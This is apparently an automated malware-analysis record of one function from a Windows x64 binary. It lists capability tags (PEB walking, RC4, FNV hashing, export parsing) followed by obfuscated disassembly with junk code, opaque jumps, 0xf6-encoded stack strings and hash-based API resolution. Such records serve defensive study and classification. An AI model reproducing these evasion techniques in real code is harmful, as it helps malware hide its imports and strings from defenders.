Function at 0x140134409
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sbb edi, esi
invalid
test al, 0xfa
invalid
push rbx
nop
inc r15
ror edx, 0xc7
mov esi, 0x60a05c5
lea r12d, [rdi - 0xe12b]
test esi, 0xfb19bc8c
rcl r14d, 0x1e
call fcn.1401339af
cmp r10d, 0xd4f924a4
test r8d, 0xd131b6d9
popf
test rsi, rdx
call rax
ror ecx, 0x86
movabs rdi, 0x66f30900000280e9
cmp r13, rbx
jg 0x1401339ac
mul r12
test ebx, 0x5d4a171a
lea edx, [rbx - 0xa2a3]
jmp 0x140132c05
add byte [rax], al
add byte [rcx - 0x7f], al
mov byte [rbx + 0x17], 0x66
cmp cl, byte [rbp - 0xde0547]
invalid
test rax, rax
je 0x1401338f3
mov eax, dword [r14 + 0x10]
jmp 0x1401336b0
test eax, eax
je 0x14013388e
mov edx, edi
add rdx, rax
lea rax, [0x140000000]
xchg r8, r13
jmp 0x1401337aa
xchg rbx, rcx
cmovns rdx, rax
call r12
xchg r8, r15
mov r15, rax
xchg r8, r15
jmp 0x14013369e
mov qword [rdx + rax], r13
xchg r13, r8
jmp 0x1401338ae
jmp rax
add rax, 2
jmp 0x140133837
add rax, rdx
movzx edx, dx
test rcx, rcx
xchg rcx, rbx
mov rbx, rsi
jne 0x140133879
je 0x140133879
lea r14d, [rbp - 0x4cbd]
pop r13
or r8d, 0x343eadbe
int3
jmp 0x1401336cc
mov rax, qword [rbx]
lea rcx, [0x140000000]
xchg r8, r9
mov qword [rcx + rax], r9
xchg r8, r9
jmp 0x1401338a7
lea rax, [0x140000000]
mov rcx, qword [rbx + 8]
add rbx, 8
add edi, 8
xchg r14, rcx
mov rdx, r14
xchg r14, rcx
xchg r14, rcx
jmp 0x1401338c7
test rcx, rcx
jne 0x14013382e
neg r14
add r14, 0xffffffffffffffec
mov dword [rsp + 0x30], 0xf6f6f6f6
xchg rdx, r15
mov r15, rdx
xchg r15, rdx
mov dword [rsp + 0x36], 0x797c7c4f
jne 0x140133912
je 0x140133912
movabs r14, 0x7e4643a73ab30beb
jmp 0x140132ff0
jmp 0x14013391f
mov byte [rsp + 0x34], 0xf6
mov word [rsp + 0x3a], 0x7c
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x36]
jmp 0x140133953
xchg r8, r15
mov dword [rbp + 0x14], 0x76736b50
mov dword [rbp - 0x3c], 0xf6f6f6f6
jmp 0x140133c3e
movzx ecx, byte [rsp + rdx + 0x30]
add cl, al
mov byte [rsp + rdx + 0x36], cl
mov byte [rsp + rdx + 0x30], r15b
inc rdx
jmp 0x140133af8
mov dword [rbp - 0x34], 0xf6f6f6f6
mov dword [rbp + 0x20], 0x6b737e73
jae 0x1401339e4
mov dword [rbp - 0x30], 0xf6f6f6f6
mov dword [rbp + 0x24], 0x6f847376
mov dword [rbp - 0x2c], 0xf6f6f6f6
mov dword [rbp + 0x28], 0x55572a44
jmp 0x140133aab
mov dword [rbp + 0x50], 0x6b7e7f6c
mov dword [rbp], 0xf6f6f6f6
mov dword [rbp + 0x54], 0x7d6f766c
jbe 0x140133a1d
jge 0x140133977
add al, 0xf6
div dh
test bh, 0x45
pop rax
sub ch, byte [rbx + 0x7c]
outsd dx, dword [rsi]
mov ecx, 0x1a9e9
add byte [rax - 0x629994d6], ch
jo 0x1401337e0
jmp rax
mov dword [rbp - 0x10], 0xf6f6f6f6
mov dword [rbp + 0x44], 0x2a35354d
mov dword [rbp - 0xc], 0xf6f6f6f6
jmp 0x140133c1d
mov dword [rbp - 0x28], 0xf6f6f6f6
mov dword [rbp + 0x2c], 0x57143c4c
mov dword [rbp - 0x24], 0xf6f6f6f6
mov dword [rbp + 0x30], 0x2a6f756b
mov dword [rbp - 0x20], 0xf6f6f6f6
jne 0x140133ae7
je 0x140133ae7
and ebx, 0xfebe9b63
cmp r8d, 0xe73bec08
div rsi
cpuid
pushfq
movabs r14, 0x72383fa50d9274eb
ror r12d, 0xb3
call rax
ret 0x28
jmp 0x140133b5d
cmp rdx, 5
jb 0x140133933
mov dword [rbp - 0x40], 0xf6f6f6f6
xchg r15, r8
mov rdx, r8
jne 0x140133b31
je 0x140133b31
jl 0x1401331a5
jge 0x140132ce1
popf
lea edi, [rdi - 0x8f08]
lea esi, [rdi + 0x56ea]
call rax
movabs r10, 0x5200fefffffe07e9
push rdx
jmp 0x14013393d
rcr r12d, 0x32
call fcn.140134409
lea r11d, [rbp + 0xf66f]
sub r11d, 0x31795882
push rsi
sub r12d, 0x2c97f111
jmp 0x140133d01
mov dword [rbp + 0x34], 0x6f7c7f7d
mov dword [rbp - 0x1c], 0xf6f6f6f6
mov dword [rbp + 0x38], 0x6f727e2a
cmp byte [r10], r13b
jle 0x140133be3
outsd dx, dword [rsi]
mov dword [rbp - 0x18], 0xf6f6f6f6
mov dword [rbp + 0x3c], 0x7d73602a
mov dword [rbp - 0x14], 0xf6f6f6f6
mov dword [rbp + 0x40], 0x2a766b7f
jmp 0x140133a91
invalid
mov dword [rbp + 0x48], 0x736e6f5c
mov dword [rbp - 8], 0xf6f6f6f6
mov dword [rbp + 0x4c], 0x737c7e7d
mov dword [rbp - 4], 0xf6f6f6f6
jmp 0x14013399a
mov dword [rbp + 0x18], 0x7e2a6e6f
mov dword [rbp - 0x38], 0xf6f6f6f6
mov dword [rbp + 0x1c], 0x78732a79
jmp 0x14013396b
adc edi, ebp
invalid
invalid
test esp, ebp
add byte [rax], al
add byte [rbp + 0x35], cl
xor eax, 0x1a7e92a
add byte [rax], al
add cl, al
mov byte [rbp + rdx + 0xbc], cl
mov byte [rbp + rdx + 0x68], r15b
inc rdx
jmp 0x140133eed
jb 0x140133f41
mov eax, 0xfffffffe
jmp fcn.14013192f
movzx eax, byte [rbp + rdx + 0xbc]
movzx ecx, byte [rbp + rdx + 0x68]
jmp 0x140133d0f
cmp rdx, 0x53
jb 0x140133ea4
mov r9d, 0x10
lea r8, [rsp + 0x46]
lea rdx, [rbp + 0xbc]
xor ecx, ecx
call r13
jmp 0x140133fea
mov byte [rbp + rax + 0xbc], r15b
inc rax
cmp rax, 0x53
jb 0x140133f2c
mov byte [rsp + r15 + 0x46], 0
inc r15
cmp r15, 5
jmp 0x140133e8d
xchg r9, rax
mov r9, r15
xchg r9, rax
nop
jmp 0x140133f2c
inc rdx
lea edi, [rbx - 0x7ac8]
rcl r8d, 0xb6
jmp rcx
test eax, 0x33fffffe
ror byte [rbx - 0x46f7dbbc], cl
and byte [rax], al
add byte [rax], al
xchg r10, rsi
mov rsi, qword [rax + 0x30]
xchg r10, rsi
movsxd rdx, dword [r10 + 0x3c]
je 0x1401343d8
jne 0x1401343d8
ret
jmp 0x1401344b8
sub rsp, 0xb0
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x140134390
dec dword [rdi]
mov esi, 0x498d48d2
add dword [rcx + 0x33], eax
rol byte [rcx + rbp*2 - 0x3e], 1
xchg ebx, eax
add dword [rax], eax
add dword [rdi], ecx
mov dh, 0x51
inc dword [rdx + rdx*8 + 0x170e9]
add byte [rcx - 1], al
leave
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jmp 0x1401345b5
dec r9d
mov r8d, 0x7070323c
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
jne 0x140134483
je 0x140134483
neg r9
lea r8d, [rbx - 0x26fa]
rol ebp, 7
jmp rcx
jmp 0x1401344d8
je 0x1401344b0
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
jmp 0x140134445
mov rax, qword [rax]
jmp 0x140134390
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1401344b0
mov r9d, dword [rbx + 0x18]
test r9d, r9d
jmp 0x140134496
inc rcx
test dl, dl
je 0x1401345c8
nop
je 0x140134515
jne 0x140134515
test edx, 0xced1384b
and r13d, 0xaf460674
lea esi, [rdx - 0xf0c3]
jmp rcx
jmp 0x140134429
jne 0x140134429
cmp r8d, 0x5cf72365
je 0x1401345d6
test r9d, r9d
jne 0x140134445
jmp 0x1401344b0
mov ecx, dword [rbx + 0x24]
xor eax, eax
add rcx, r10
add ecx, edx
mov dword [rbp - 0x2d], 0xf6f6f6f6
mov dword [rbp - 0x22], 0x7c6f7d7f
jmp 0x140134663
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140134763
nop dword [rax]
je 0x140134647
jne 0x140134647
and ecx, 0xaed09095
lea ecx, [rdi - 0x8f9a]
bswap rdi
jmp 0x140134d5c
jmp 0x140134694
mov dword [rbp - 0x29], 0xf6f6f6f6
mov dword [rbp - 0x1e], 0x6e383c3d
movzx edx, word [rcx + r9*2]
je 0x140134684
jne 0x140134684
rcl ebx, 0x9d
cpuid
int3
jmp 0x14013476b
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
jmp 0x1401347aa
mov dh, 0x42
invalid
mov r9d, dword [rcx + rdx*4]
add r9, r10
xor ebx, ebx
mov edx, ebx
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x22]
movzx ecx, byte [rbp + rdx - 0x2d]
je 0x1401346d2
jne 0x1401346d2
movabs r8, 0x18124d6b44c71ceb
neg rdi
cmp rdx, rdi
div rdx
test r8d, 0xa3f7b052
ret
jmp 0x1401346f0
add cl, al
mov byte [rbp + rdx - 0x22], cl
mov byte [rbp + rdx - 0x2d], bl
je 0x14013471f
jne 0x14013471f
push rdi
jo 0x1401338be
neg r14
lea r14d, [rdx - 0x4f8e]
test r13, rdi
pushfq
lea r14d, [rbx - 0x6f76]
bswap rbp
movabs r12, 0x587c195b0f2028eb
jb 0x14013508b
jmp 0x140134749
test r12d, 0x91c8fb5a
pause
ror r15d, 0xa1
or r12d, 0xa783d209
rcl ecx, 0x2a
jmp 0x140134aac
inc rdx
cmp rdx, 0xa
jb 0x1401346c2
xor edx, edx
jmp 0x140134830
je 0x140134847
inc r8d
jmp 0x140134792
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov word [rbp - 0x25], 0xf6f6
mov word [rbp - 0x1a], 0x7676
mov byte [rbp - 0x18], al
jmp 0x1401346ac
nop dword [rax]
nop word [rax + rax]
mov r10d, r8d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
mov ecx, 0xf25766fc
add rdx, r9
jmp 0x1401345f1
test al, al
jne 0x140134694
cmp ecx, 0x108a037
jmp 0x14013475d
xchg r9, rax
mov r8d, ebx
movsxd rcx, dword [rax + 0x3c]
cmp al, 0x44
mov ebx, dword [rcx + rax + 0x88]
mov edi, dword [r11 + rax + 0x20]
jne 0x14013480d
je 0x14013480d
test r9, rdx
add edi, 0xeb9a9262
pop r14
call rax
lea r11d, [rdi + 0xe3a3]
pushf
div r8
jmp fcn.140133a3f
jmp 0x140134785
lea rcx, [rbp - 0x22]
mov r8d, 0x800
call r9
xchg r9, rax
mov rax, r9
jmp 0x1401347bd
mov ecx, dword [r11 + r9 + 0x24]
xchg rsi, rax
mov rsi, rbx
jne 0x140134886
je 0x140134886
cmp rbx, rbp
rcl r11d, 0x61
call rcx
lea r10d, [rdx + 0xf02c]
rcr ecx, 0x3f
jl 0x1401356ac
call rcx
lea r15d, [rcx - 0x6ef0]
popf
xor r8d, 0x9afd9641
rcr r12d, 0x43
movabs rdx, 0x4503b900000450e9
xor r13d, 0xa01b7890
add r8d, 0x736a5c39
add r8d, 0x1a020665
call fcn.140134645
jmp 0x140134cdb
xchg rcx, rbp
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
xchg r14, r8
jmp 0x140134a82
movzx eax, byte [rbp + rdx - 0x33]
movzx ecx, byte [rbp + rdx - 0x39]
add cl, al
mov byte [rbp + rdx - 0x33], cl
mov byte [rbp + rdx - 0x39], bl
inc rdx
cmp rdx, 5
jmp 0x1401348da
jb 0x1401348ba
mov dword [rbp - 0x17], 0xf6f6f6f6
mov rdx, rbx
mov dword [rbp + 0x1d], 0x762a7e4b
rol edi, cl
sbb eax, 0x762a7e4b
mov dword [rbp - 0x13], 0xf6f6f6f6
mov dword [rbp + 0x21], 0x7e7d6b6f
jne 0x14013490f
je 0x14013490f
ror edx, 0xa4
lea r15d, [rbp - 0x7070]
movabs rcx, 0xcfdca00000375e9
and edx, 0xcfd465a
call rax
xor r10d, 0x9983073e
pushfq
call 0x1401346a8
jmp 0x140134c89
cmp rax, 5
jb 0x140134aac
mov rax, qword gs:[0x60]
xchg rcx, rbp
mov rbp, qword [rax + 0x18]
jmp 0x1401348a8
mov dword [rbp + 0x4d], 0x387e78
mov byte [rbp + 0x1b], 0xf6
nop dword [rax]
movzx eax, byte [rbp + rdx + 0x1d]
movzx ecx, byte [rbp + rdx - 0x17]
jne 0x140134992
je 0x140134992
pushf
cmp r8, rbx
jl 0x140135236
pushfq
rcr r12d, 0x2c
jne 0x140135461
add edi, 0x925ae1c
add edi, 0x1be01bf2
pushfq
jmp rcx
jmp 0x140134bcc
call r10
xchg rbp, rax
mov rbp, rbx
xchg rbp, rax
mov byte [rbp + rax + 0x1d], bl
inc rax
jmp 0x140134a9f
test al, al
je 0x140134ad6
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
jmp 0x140134ab8
mov dword [rbp + 1], 0xf6f6f6f6
mov dword [rbp + 0x35], 0x7f7b6f7c
mov dword [rbp + 5], 0xf6f6f6f6
mov dword [rbp + 0x39], 0x6e6f7c73
jne 0x140134a15
je 0x140134a15
pause
lea r13d, [rbp - 0xb2bc]
test r14, rcx
test r13d, 0xf94134c5
movabs r15, 0x1327e0000001e7e9
jg 0x140134104
jmp 0x140134c01
push rbx
rcl edi, 0xe8
cmp r12d, 0x9a33149c
or r9d, 0x796fd138
jmp 0x1401350e2
mov r9d, 0x10
lea r8, [rbp - 0x33]
lea rdx, [rbp + 0x1d]
xor ecx, ecx
jmp 0x1401349b1
lea rax, [r11 + r9*4]
mov ecx, dword [rax + r8]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
jmp 0x1401349c7
add r10, r9
mov byte [rbp + rax - 0x22], bl
inc rax
cmp rax, 0xa
jb 0x140134a68
cmp rsi, 1
jmp 0x140134b48
mov r14, qword [rcx + 0x30]
xchg r14, r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r11d, dword [r10 + r8 + 0x20]
jmp 0x140134bed
cmp rax, 0x33
jb 0x1401349bb
mov rax, rbx
mov byte [rbp + rax - 0x33], bl
inc rax
jmp 0x14013492c
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1401349d2
cmp edx, 0x5b0e25f5
je 0x140134cf6
inc ebx
jmp 0x140134be8
mov dword [rbp + 0x2d], 0x2a574b5c
mov dword [rbp - 3], 0xf6f6f6f6
mov dword [rbp + 0x31], 0x2a6f7c6b
jmp 0x1401349e0
mov dword [rbp + 0x45], 0x2a6f727e
mov dword [rbp + 0x15], 0xf6f6f6f6
mov dword [rbp + 0x49], 0x6f73764d
mov word [rbp + 0x19], 0xf6f6
jne 0x140134b18
je 0x140134b18
movabs rcx, 0x5a749efffffe2ee9
cpuid
sub ebx, 0x85b437fb
test esi, 0xf2f35e8c
call rax
bswap rdi
pushfq
pause
test r8, rbp
call rcx
jnp 0x140133b6c
jmp 0x14013494b
jmp rcx
jne 0x140134936
mov dword [rbp - 0x39], 0xf6f6f6f6
mov rdx, rbx
mov dword [rbp - 0x33], 0x797c7c4f
mov byte [rbp - 0x35], 0xf6
mov word [rbp - 0x2f], 0x7c
nop word [rax + rax]
je 0x140134ba9
jne 0x140134ba9
xor edx, 0xb48281b2
lea ecx, [rdx + 0xc844]
rcl ebp, 0xf5
lea r11d, [rdi - 0x4426]
pause
xor r9d, 0xb51a79ee
lea r9d, [rdi - 0x6516]
cmp rbx, rdx
jbe 0x140134428
movabs rbp, 0x923fffffffd0ce9
ror ebx, 1
lea ebp, [rdx - 0x8e21]
xor r12d, 0x935bc861
neg rsi
rcl r9d, 0xc1
jmp 0x1401346a4
jmp 0x1401348ba
add cl, al
mov byte [rbp + rdx + 0x1d], cl
mov byte [rbp + rdx - 0x17], bl
inc rdx
cmp rdx, 0x33
jb 0x14013495d
jmp 0x140134a3a
jmp 0x140134bf4
nop dword [rax]
mov r9d, ebx
mov edx, 0x8ee4fc2b
jmp 0x140134a4f
mov dword [rbp + 9], 0xf6f6f6f6
mov dword [rbp + 0x3d], 0x2a797e2a
mov dword [rbp + 0xd], 0xf6f6f6f6
mov dword [rbp + 0x41], 0x2a787f7c
mov dword [rbp + 0x11], 0xf6f6f6f6
je 0x140134c5d
jne 0x140134c5d
jne 0x140135bdc
mov r10d, 0x52d5ed77
ror edi, 0x2e
cpuid
je 0x1401342c1
popfq
bswap r14
call rcx
test r13d, 0x496f2e69
jo 0x1401348e9
or ebx, 0x95e1d595
rol edi, 0x79
movabs rdi, 0x5a74e3fffffe95e9
jmp rcx
jmp 0x140134af7
mov dword [rbp - 0xf], 0xf6f6f6f6
mov dword [rbp + 0x25], 0x4c51422a
mov dword [rbp - 0xb], 0xf6f6f6f6
mov dword [rbp + 0x29], 0x2a70792a
mov dword [rbp - 7], 0xf6f6f6f6
je 0x140134cd0
jne 0x140134cd0
cpuid
jmp rcx
jmp 0x140134add
xchg rsi, rax
add rcx, r9
movzx edx, word [rcx + r10*2]
mov ecx, dword [r11 + r9 + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
jmp 0x140134a65
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + r8 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
mov edx, 0xc000009a
jmp 0x140134d18
add rax, r8
mov rcx, 0xffffffffffffffff
lea r11, [rsp + 0xb0]
xchg rdx, rbx
mov rdx, qword [r11 + 0x10]
xchg rbx, rdx
xchg r12, rsi
jne 0x140134d46
je 0x140134d46
xor r13d, 0x2e64578
pause
movabs rdx, 0x4c8037696dde27eb
lea r15d, [rbx - 0x4645]
lea ecx, [rbp - 0x1927]
mul r11
jmp 0x140134d6f
mul ebx
test rcx, rdx
ret 0x20
xchg qword [rsp], rbp
add rsp, 8
jmp rax
mov r12, qword [r11 + 0x18]
xchg r12, rsi
xchg rdx, rdi
mov rdx, qword [r11 + 0x20]
xchg rdx, rdi
mov rsp, r11
nop
jne 0x140134d9c
je 0x140134d9c
or r13d, 0xf281fc44
popfq
cmp r12d, 0x2b655409
rol ecx, 0x68
movabs rbx, 0x42a98edd6a54c6eb
jmp rcx
jmp 0x140134d64
cmpsb byte [rsi], byte [rdi]
mov byte [rsi - 0x80], bl
pushfq
in eax, dx
push rsi
in al, 0x5f
test dword [rbx + 0x35f8a521], eax
outsb dx, byte [rsi]
cmp ecx, edi
invalid
add dword [rsp + rax*4 - 0x71], edx
lodsd eax, dword [rsi]
pop rbx
stosd dword [rdi], eax
mov ah, 0xbb
cmp eax, 0x60d8dd1b
sar dword [rbx - 0x43a963c3], cl
add esi, ecx
mov esi, fs
push rbp
loope 0x140135077
mov eax, dword [rax - 0x6ddc23b6]
std
hlt
or al, byte [rcx - 0x11c7a8f9]
inc dword [rdi - 0x39]
push qword [rdx - 0x2b]
mov r13d, 0xed9195f8
call 0x119ba5f0c
lodsd eax, dword [rsi]
add al, 0x5d
invalid
sub esi, dword gs:[rdx - 0x6037ddad]
and eax, 0x7f27b0f3
sal ebx, cl
cli
adc eax, 0x7616b8b3
mov dword [0xd154a428], 0x10865774
out dx, eax
pop rsi
xor dword [rax], edi
mov dl, 0xe3
sti
fstp qword [rdi - 0x27b0f326]
jg 0x14013544d
cli
insb byte [rdi], dx
invalid
xor dword [rax - 0x47], edi
adc dword [r8], r15d
invalid
nop
sti
clc
xor edx, dword [rsi]
xchg ebp, eax
in al, dx
invalid